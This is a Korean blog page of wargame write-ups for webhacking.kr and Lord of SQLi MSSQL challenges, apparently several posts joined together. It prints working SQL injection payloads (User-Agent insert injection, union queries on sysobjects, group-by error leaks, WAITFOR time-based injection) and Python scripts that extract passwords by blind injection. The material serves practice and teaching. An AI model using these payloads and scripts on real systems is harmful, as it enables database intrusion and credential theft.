Old-08 Domain & Tool

  • 구분 : SQL Injection
  • 문제풀이에 사용된 도구 
    • Chrome 103.0.5060.66 관리도구[F12]
    • python 3.10
      • Module : requests

Old-08 Question & Answer

시꺼먼 화면이다. 역시 웹해킹 연습사이트는 UI가 단조로워야 재맛이다. 일단 Hi guest라고 친.절.하게 인사해주니 쌩까고 view-source a태그를 클릭해서 동작방식을 확인하자 안쪽은 php source가 있다.

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 8</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
</style>
</head>
<body>
<br><br>
<center>
<?php
$agent=trim(getenv("HTTP_USER_AGENT"));
$ip=$_SERVER['REMOTE_ADDR'];
if(preg_match("/from/i",$agent)){
  echo("<br>Access Denied!<br><br>");
  echo(htmlspecialchars($agent));
  exit();
}
$db = dbconnect();
$count_ck = mysqli_fetch_array(mysqli_query($db,"select count(id) from chall8"));
if($count_ck[0] >= 70){ mysqli_query($db,"delete from chall8"); }

$result = mysqli_query($db,"select id from chall8 where agent='".addslashes($_SERVER['HTTP_USER_AGENT'])."'");
$ck = mysqli_fetch_array($result);

if($ck){
  echo "hi <b>".htmlentities($ck[0])."</b><p>";
  if($ck[0]=="admin"){
    mysqli_query($db,"delete from chall8");
    solve(8);
  }
}

if(!$ck){
  $q=mysqli_query($db,"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')") or die("query error");
  echo("<br><br>done!  ({$count_ck[0]}/70)");
}
?>
<a href=./?view_source=1>view-source</a>
</body>
</html>

코드의 동작을 블록으로 나누어서 설명하면

  • 접속된 사용자의 HTTP_USER_AGENT(브라우저 정보) 와 REMOTE_ADDR(IP정보)를 가져온다.
  • 만약 HTTP_USER_AGENT에 from이라는 문자열이 있으면 Access Denied로 튕긴다
  • 만약 카디널리티가 70이 넘어간다면 해당 데이터베이스를 지운다.(아마 용량관리나 DOS대항인듯)
  • agent로 조건을 걸어서 가져온 id값이 admin이면 solve
  • 해당 agent로 행이 없으면 그 행을 생성한다.

여기서 집어넣는 sql은 다음과 같다.

  • Insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')"

IP는 못바꾼다. Proxy등을 쓰면 바꿀수 있겠지만, agent 는 SQL Injection이 가능하다. 따라서 agent에다가 SQL Injection을 삽입 하고, select문을 돌려보자

 

from requests import get
    

if __name__=="__main__" :
    
    sql_enter_headers = {"User-Agent": "REDUCTO', '0.0.0.0', 'admin')# "}
    sql_select_headers = {"User-Agent": "REDUCTO"}
    url = "https://webhacking.kr/challenge/web-08/"
    cookie = {
        "PHPSESSID":"// 당신의 PHPSESSID //",
    }

    req = get(url, headers=sql_enter_headers,cookies=cookie)
    print(req.content)

    req = get(url, headers=sql_select_headers,cookies=cookie)
    print(req.content)

결과는 다음과 같다.

b'<html>\n<head>\n<title>Challenge 8</title>\n<style type="text/css">\nbody { background:black; color:white; font-size:10pt; }\n</style>\n</head>\n<body>\n<br><br>\n<center>\n<br><br>done!  (0/70)<a href=./?view_source=1>view-source</a>\n</body>\n</html>\n'
b'<html>\n<head>\n<title>Challenge 8</title>\n<style type="text/css">\nbody { background:black; color:white; font-size:10pt; }\n</style>\n</head>\n<body>\n<br><br>\n<center>\nhi <b>admin</b><p><script>alert(\'login plz\');location.href=\'https://webhacking.kr/\';</script>'

필자는 2회차로 푸는거라 already solve가 나온거다

'WarGame > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-10 Answer  (0) 2022.07.14
[Webhacking.kr] old-09 Answer  (0) 2022.07.14
[Webhacking.kr] old-07 Answer  (0) 2022.07.10
[Webhacking.kr] old-06 Answer  (0) 2022.07.10
[Webhacking.kr] old-05 Answer  (0) 2022.07.10

Old-03 Domain & Tool

  • 구분 : SQL Injection
  • 문제풀이에 사용된 도구 
    • Chrome 103.0.5060.66 관리도구[F12]

Old-03 Question & Answer

들어가면 네모네모 로직이 나온다. 이걸 풀면 문제가 풀린다니!! 이런 혜자 문제가 어디있나!!

solved를 누르자. 필자는 가장 어려운 문제를 푼기분이다.

Clear라는 이름과 함께 이름을 입력하도록 하고 있다. 아무이름이나 입력해보자

다음과 같은 결과가 나온다. 한번뒤로가서 다시 제출해보자

오호라 일단 데이터베이스를 활용하고 있는거 같다. 여기까지오면서 신기했던건 <script>태그를 활용해서 이렇게 된것으로, index.php한페이지에서 네모네모로직 페이지 -> 이름입력 페이지 -> 결과페이지가 구성되었다는 점이다. 데이터베이스를 사용한다는 점에서 SQL Injection에 취약할 법도 한데, 이름을 입력하는 곳밖에 form을 입력할 수 밖에 없다. POST로 날아가는 PayLoad에도 물론 해도되지만 조금만 쉬운길로 가보자. 바로 이름을 입력하는 페이지이다.

 

사실 이 두번째 Page의 소스는 answer라는 input값을 hidden으로 지정하고 있다. 즉 우리가 입력할 sql injection 공격 부분이 한군데 더있는것이다.

이곳에서 type hidden 태그를 벗겨보자 input 태그가 하나 더 나온것을 확인할 수 있다.

자 SQL Injection을 시도해보자

'WarGame > Webhacking.kr' 카테고리의 다른 글

[Webhacking.kr] old-06 Answer  (0) 2022.07.10
[Webhacking.kr] old-05 Answer  (0) 2022.07.10
[Webhacking.kr] old-04 Answer  (0) 2022.07.08
[Webhacking.kr] old-02 Answer  (0) 2022.07.07
[Webhacking.kr] 서문 & old-01 Answer  (0) 2022.07.05

으으 문어다. 필자는 연체동물을 먹지 못한다. 몸이 거부반응을 일으킨다. 토한 게 한두 번이 아니다. 빨리 코드를 보고 무찌르자

< 출처 : 나무위키 https://namu.wiki/w/%EC%9D%B4%EB%B3%BC%EB%B8%8C/%EB%AA%AC%EC%8A%A4%ED%84%B0/%ED%81%AC%EB%9D%BC%EC%BC%84 >


코드

코드에 따르면 mssql기반의 문제이다. GET파라미터로 전달될 id와 pw에 대해서 master와 information을 필터링하고 있다. 그 후 table인 member에서 id를 query 해서 결과를 echo 하고, pw로 전달된 값이 $krakenFlag로 나오면 된다.

* 주석으로 flag는 member테이블이 아닌 'flag_{$hash}'의 테이블에 있다고한다. 메타 테이블에 접근을 해야 되겠다.


해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?pw=FLAG

if($result ['id'])라는 조건이기에, id가 있기만 하면 되는 거여서 union을 통한 조작이 가능하다.

 

또한 저번 문제를 기억하는 사람들은 이번 메타 테이블 접근에 sys가 필터링이 안되어있는 것을 눈치챘을 것이다.

mssql에는 "sysobjects"라는 메타 테이블이 존재한다. "sysobjects"에는 DB에서 생성된 개체들의 모든 정보가 들어있다. 그중 xtype과 type에는 각 개체의 유형을 저장하고 있는데, 그중 우리는 "U"타입(사용자 테이블)을 가져올 것이다.

try : ?id=1' union select name from sysobjects where type='U'--%20

으흠; 역시 호락호락하지 않다. a_dummy_table이라는 테이블이 행으로 있는 거 같다. 간단한 막일로 처리하자

try2 : ?id=1' union select name from sysobjects where type='U' and name like 'flag%'--%20

그렇다. 물론 이와 같은 방법 말고 깔끔한 방법도 많을 것이다. flag_table은 알았으니 테이블에서 정보를 빼보자.

try3 : ?id=1' union select * from flag_ccdfe62d--%20

이렇게 flag를 알 수 있었다.


mssql의 메타 테이블인 sysobjects에 대해서 알 수 있는 문제였다. 이제 다음 관문으로 넘어가자

이번에는 미라다. 수많은 용들과 전설 속의 네스호의 괴물까지 무찌르고 만난 것이 고작 미라라는 게 조금 김 빠지는 이야기이다. 코드를 만나보자

<  출처 : 위키백과 https://en.wikipedia.org/wiki/Mummy >


코드

mssql 기반의 문제이다. query로 받아오는 파라미터에 대해서 master, sys, information등 메타 테이블의 접근을 필터링하고 있다. 그 후 가져온 query를 길이에 맞게 반복 순회를 하면서 query에서 ord값이 32 이하인 문자가 발견되면 exit을 사용한다. 그 후 파라미터로 날아온 query에 대해서 직접 $result를 받아와서 결과적으로는 정확한 pw를 요구하고 있다.


해결방법 

Answer Url : los.rubiya.kr/chall/XXXX.php?pw=0c3cc245

해결해야할 문제는 자명하다. 

공백으로 인식할 수 있는 문자를 써야 한다.

다행히도, mssql은 문법적인 최소 단위를 구분할 여러 가지 다른 방법을 가지고 있다. 일전의 문제에서 보았던 /**/나 ()도 가능하지만 이는 이번 문제에서 필터링되어있다. 따라서 이번에 필터링을 뚫고 우리가 사용할 문자열은 대괄호[]이다.

try : ?query=[pw]from[prob_mummy]

굿, 대괄호를 사용하는 방법은 알았으니 남은 것은 Blind sql injection이다.

import string
from requests import get

if __name__=="__main__" :

    url = "### MUMMY URL ###"
    cookie = dict(PHPSESSID ="### 자신의 PHPSESSID ###")
    letters = string.digits + string.ascii_letters
    password = ''

    print("### START BLIND SQL INJECTION ###")
    
    while(True) :
        
        find_flag = False
        
        for a in letters : 
            param = "?query=[pw]from[prob_mummy]where[id]='admin'and[pw]<'"+password+a+"'"
            new_url = url+param
            req = get(new_url,cookies=cookie)
            index = letters.index(a)

            if (req.text.find("Hello anonymous")<200 and req.text.find("Hello anonymous")!=-1) :
                find_flag = True
                break
            
        if(find_flag) :
            password += letters[index-1]
        else : 
            break


    print("="*25)
    print("find password : "+password)

출력 결과는 다음과 같다.

 ### START BLIND SQL INJECTION ###

=========================
find password : 0c3cc245

이지하다


이제 몬스터는 4마리밖에 남지 않았다. 힘내서 빠르게 마무리 지아보자

이번 문제는 예티이다. Yeti라고 했을 때 아래 예티가 가장 먼저 떠올랐다면 우리는 훌륭한 공익이다.

< 출처 : 메이플스토리 팬덤 위키 https://maplestory.fandom.com/ko/wiki/%EC%98%88%ED%8B%B0_(%EC%A7%81%EC%97%85)>


코드

저번 레버넌트와 같은 mssql문제이다. id와 pw에 대해 master, sys, information 등 메타 테이블 접근을 차단한 것이 눈에 띈다. admin의 정확한 pw를 알아야 하는 걸 봐서 blind sql injection을 시행하거나, 새로운 방법을 시도해야 될 거 같다.


해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?pw=6425b725

전형적인 Time based sql injection으로 해결이 가능하다. 참고로 이야기를 하자면, mssql은 sleep함수가 없다. waitfor라는 키워드가 sleep처럼 사용되며, 아래와 같은 사용법을 가진다.

아래 MSDN의 사용법에 더욱 자세하게 나와있으니 참고바란다.

docs.microsoft.com/ko-kr/sql/t-sql/language-elements/waitfor-transact-sql?view=sql-server-ver15

 

WAITFOR (Transact-SQL) - SQL Server

WAITFOR(Transact-SQL)

docs.microsoft.com

즉 wairfor와 조건문을 잘 활용하면 response time을 통하 time based blind sql injection이 가능하다.

try : ?id=1&pw=1%27 if((select len(pw) from prob_yeti where id=%27admin%27)>0) waitfor delay %2700:00:03%27--%20

 

다음은 이를 활용한 Python 코드이다.

import string
import time
from requests import get

if __name__=="__main__" :

    url = "### YETI의 URL ###"
    cookie = dict(PHPSESSID ="### 자신의 PHPSESSID ###")
    length = 1  
    letters = string.digits + string.ascii_letters
    password = ''

    print("### START BLIND SQL INJECTION ###")
    print("\n\n### LENGTH of PASSWORD SEARCH ###")
    while(True) :
        param = "?id=1&pw=1%27 if((select len(pw) from prob_yeti where id=%27admin%27)="+str(length)+") waitfor delay %2700:00:03%27--%20"
        new_url = url+param
        
        start = time.time()
        req = get(new_url,cookies=cookie)
        end = time.time()
        
        if end-start > 2:
            print("Found PW length",length)
            break
            
        length+=1
        


    print("\n\n### PASSWORD SEARCH ###")
    for i in range(1,length+1) :
        index = 0
        for a in letters :
            param = "?id=1&pw=1%27 if((select pw from prob_yeti where id=%27admin%27) < %27"+password+a+"%27) waitfor delay %2700:00:03%27--%20"
            new_url = url+param

            start = time.time()
            req = get(new_url,cookies=cookie)
            end = time.time()

            if end-start > 2:
                index = letters.index(a)
                print("find "+str(i)+"'s letter : "+a)
                break
        
        password += letters[index-1]
        

    print("="*25)
    print("find password : "+password)

출력은 다음과 같다

### START BLIND SQL INJECTION ###


### LENGTH of PASSWORD SEARCH ###
Found PW length 8


### PASSWORD SEARCH ###
find 1's letter : 7
find 2's letter : 5
find 3's letter : 3
find 4's letter : 6
find 5's letter : c
find 6's letter : 8
find 7's letter : 3
find 8's letter : 6
=========================
find password : 6425b725

완벽!


벌써 43번째 몬스터를 물리치고 이제 5마리의 몬스터밖에 남지 않았다. 다음 관문에서 기다리겠다.

레버넌트이다. 영화로도 나왔던 거 같은데; 기억이 잘 안나네... 코드를 확인하자

< 출처 : 몬스터 위키 팬덤 https://monster.fandom.com/wiki/Revenant >


코드

일단 nessie와 비슷한 형태이다. 사실 거의 똑같다. 메타정보와 waitfor 등이 막혀있고, 2가지 쿼리를 쓰지 못하게 세미콜론(;)이 막혀있다. 주석으로는 5번째 칼럼을 pwn 해야 한다고 한다.


해결방법

Answer Url : los.rubiya.kr/chall/XXXX.php?pw=aa68a4b3fb327dee07f868450f7e1183

일단 어째 $result['4']라는걸보니 칼럼명이 0,1,2,3,4 일거 같은 직감이 든다.(아닌가? 조건절은 또 id니까 아닐 수도 있겠네) 저번처럼 에러 메시지는 웹페이지에 그대로 노출이 된다. 따라서 칼럼명을 확인할 수 있는 에러를 발생시키면 좋을 거 같은데, 가장 무난하고 만만한 방법은 그루핑 함수를 통한 query이다. 다음은 group by에 대한 설명이다.

신기한 점은 그루핑은 행을 특정한 식에 부합하게 압축하는 기능이기에, 그 조건에 부합하지 않는 칼럼이 있으면 동작하지 않는다. 예를 들면 id로는 그루핑이 되어도 다른 칼럼도 그루핑이 지정되지 않으면 오류가 날 수 있다는 점이다.

try : ?id=1' group by id --%20

다음 열인 pw를 찾을 수 있다.

try : ?id=1' group by id,pw --%20

그다음 열은 45a88487이고 그다음 열은 시도 해보면(할 때 45랑 a88487이랑 별도로 해석되니, 큰따옴표로 묶는 게 정신건강에 이롭다) 다음 열은 13477a35이다. 그렇게 해서 5번째 열을 확인하면

try : id=1' group by id,pw,"45a88487","13477a35" --%20

5번째 열은 9604b0c8이다. 이를 Nessie와 같이 문자열 변환 에러를 발생시켜서

try : ?id=1' or "9604b0c8"=1--%20

휴 다들 수고했다.

어? 아; 위에 try에서 id가 admin임을 명시하지 않았기에 3b~는 다른 행의 pw이다. 

try : ?id=admin' and "9604b0c8"=1 --%20

이제 진짜 끝났다. 딱 대


허튼짓이란 허튼짓은 다해 두고 문제를 풀었다. 여러분들은 똑똑하게 문제를 풀었기를 바란다.

+ Recent posts